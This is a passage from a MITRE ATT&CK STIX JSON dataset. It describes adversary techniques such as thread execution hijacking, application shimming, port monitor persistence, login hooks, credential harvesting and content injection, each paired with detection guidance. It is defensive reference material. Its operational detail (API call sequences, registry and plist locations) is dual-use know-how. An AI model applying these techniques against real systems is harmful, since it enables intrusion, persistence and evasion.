bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Script: Script Execution","File: File Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","type":"attack-pattern","created":"2020-01-14T01:28:32.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.003","url":"https://attack.mitre.org/techniques/T1055/003"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:22:50.800Z","name":"Thread Execution Hijacking","description":"Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Modification","Process: Process Access"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e","type":"attack-pattern","created":"2017-05-31T21:31:01.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1079","url":"https://attack.mitre.org/techniques/T1079"},{"url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","source_name":"SANS Decrypting SSL"},{"url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","source_name":"SEI SSL Inspection Risks"},{"url":"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf","description":"Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.","source_name":"Fidelis DarkComet"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-24T14:09:11.589Z","name":"Multilayer Encryption","description":"An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-10-16T20:10:38.450Z","name":"Masquerading","description":"Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Oleg Kolesnikov, Securonix","Nick Carr, Mandiant","David Lu, Tripwire","Felipe Espósito, @Pr0teus","Elastic","Bartosz Jerzman","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE”.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_version":"1.7","x_mitre_data_sources":["File: File Modification","Process: Process Metadata","Service: Service Creation","Service: Service Metadata","Process: Process Creation","Image: Image Metadata","Scheduled Job: Scheduled Job Metadata","User Account: User Account Creation","File: File Metadata","Scheduled Job: Scheduled Job Modification","Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Application Control"],"type":"attack-pattern","id":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","created":"2017-05-31T21:30:38.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036","external_id":"T1036"},{"source_name":"Twitter ItsReallyNick Masquerading Update","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/1055321652777619457"},{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"https://www.elastic.co/blog/how-hunt-masquerade-ball"},{"source_name":"LOLBAS Main Site","description":"LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.","url":"https://lolbas-project.github.io/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","type":"attack-pattern","created":"2020-01-24T14:56:24.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.011","url":"https://attack.mitre.org/techniques/T1546/011"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"source_name":"FireEye Application Shimming","url":"http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf","description":"Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020."},{"url":"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf","description":"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.","source_name":"Black Hat 2015 App Shim"}],"modified":"2020-11-10T18:29:31.094Z","name":"Application Shimming","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Module: Module Load","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-10-14T22:11:30.271Z","name":"Unsecured Credentials","description":"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Windows Registry: Windows Registry Key Access","Application Log: Application Log Content","Command: Command Execution","Process: Process Creation","File: File Access","User Account: User Account Authentication"],"type":"attack-pattern","id":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","created":"2020-02-04T12:47:23.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552","external_id":"T1552"},{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-09-12T15:26:17.886Z","name":"Port Monitors","description":"Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire","Harun Küßner"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","File: File Creation","Module: Module Load","Process: OS API Execution"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_permissions_required":["SYSTEM","Administrator"],"type":"attack-pattern","id":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","created":"2020-01-24T19:46:27.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/010","external_id":"T1547.010"},{"source_name":"Bloxham","description":"Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.","url":"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"},{"source_name":"AddMonitor","description":"Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:43:56.839Z","name":"Clear Mailbox Data","description":"Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Liran Ravich, CardinalOps"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Application Log: Application Log Content","File: File Deletion","File: File Modification","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","created":"2022-07-08T21:04:03.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/008","external_id":"T1070.008"},{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"},{"source_name":"mailx man page","description":"Michael Kerrisk. (2021, August 27). mailx(1p) — Linux manual page. Retrieved June 10, 2022.","url":"https://man7.org/linux/man-pages/man1/mailx.1p.html"},{"source_name":"ExchangePowerShell Module","description":"Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes"},{"source_name":"Microsoft OAuth Spam 2022","description":"Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","created":"2020-01-10T16:01:15.995Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1037.002","url":"https://attack.mitre.org/techniques/T1037/002"},{"source_name":"Login Scripts Apple Dev","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html","description":"Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022."},{"source_name":"LoginWindowScripts Apple Dev","url":"https://developer.apple.com/documentation/devicemanagement/loginwindowscripts","description":"Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022."},{"source_name":"Wardle Persistence Chapter","url":"https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf","description":"Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."},{"source_name":"S1 macOs Persistence","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ","modified":"2022-04-20T16:42:05.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Login Hook","x_mitre_detection":"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Creation","File: File Modification","Process: Process Creation","Command: Command Execution"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-01T02:28:45.147Z","name":"Content Injection","description":"Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"},{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Process: Process Creation","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","created":"2023-09-01T21:03:13.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1659","external_id":"T1659"},{"source_name":"EFF China GitHub Attack","description":"Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.","url":"https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack"},{"source_name":"ESET MoustachedBouncer","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"},{"source_name":"Kaspersky Encyclopedia MiTM","description":"Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.","url":"https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/"},{"source_name":"Kaspersky ManOnTheSide","description":"Starikova, A. (2023, February 14). Man-on-the-side – peculiar attack. Retrieved September 1, 2023.","url":"https://usa.kaspersky.com/blog/man-on-the-side/27854/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:45.488Z","name":"Process Injection","description":"Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Anastasios Pingios","Christiaan Beek, @ChristiaanBeek","Ryan Becwar"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, 